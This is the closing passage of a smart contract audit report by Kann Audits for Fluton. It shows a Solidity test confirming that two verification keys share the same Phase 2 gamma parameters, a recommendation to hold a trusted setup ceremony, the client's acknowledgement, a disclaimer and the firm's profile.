    assertEq(v2_gy2, v16_gy2);
}
```

```
$ pnpm --filter contracts test:solidity
[PASS] test_verifyPhase2ParameterDuplication() (gas: 7892)
  gammax1: 1155973203...634 == 1155973203...634 (EQUAL)
  gammax2: 1085704699...781 == 1085704699...781 (EQUAL)
  gammay1: 4082367875...531 == 4082367875...531 (EQUAL)
  gammay2: 8495653923...930 == 8495653923...930 (EQUAL)
==== Suite result: ok. 1 passed; 0 failed ====
```

RECOMMENDATION

Conduct an independent, publicly verifiable Phase 2 ceremony for each circuit before mainnet deployment. Ensure that ceremony transcripts and beacon contributions are published, and verify that the resulting verification keys have distinct Phase 2 group elements.

REMEDIATION ACKNOWLEDGED

FLUTON

Acknowledged, Informational. The parameters are identical because snarkjs always sets gamma to the BN254 G2 generator. A trusted setup ceremony will be run before mainnet deployment.

09 - PLEASE READ

DISCLAIMER

A security audit can never guarantee the complete absence of vulnerabilities. Audits are a time, resource and expertise-bound effort in which we aim to identify as many issues as possible.

This review covers only the files listed in the Scope section at the audited commit. Code changed after that commit, external dependencies, deployment configuration and operational practices may introduce additional risk.

10 - WHO WE ARE

ABOUT KANN AUDITS

Kann Audits is a Web3 security audit company helping DeFi protocols, blockchain networks, and infrastructure teams build securely at every stage, from development to launch and beyond.

EXPERT SECURITY AUDITS

Human-led smart contract security audits built around the architecture, business logic, integrations and risk profile of complex Web3 protocols.

AI SECURITY SCAN

Kann AI extracts Solidity call graphs and returns function-level security signals for expert validation.

FORMAL VERIFICATION

Define security properties for critical protocol behaviour and evaluate whether the implementation satisfies those specifications.

INCIDENT RESPONSE

A direct triage path for suspected exploits, critical vulnerabilities, suspicious transactions and urgent remediation review.

KANN AUDITS

WEB3 SECURITY AUDITS

GET IN TOUCH

WEBSITE	kannaudits.com
PORTFOLIO	github.com/KannAudits
EMAIL	contact@kannaudits.com
X	@KannAudits
TELEGRAM	@KannAudits

© 2026 Kann Audits. Prepared for Fluton.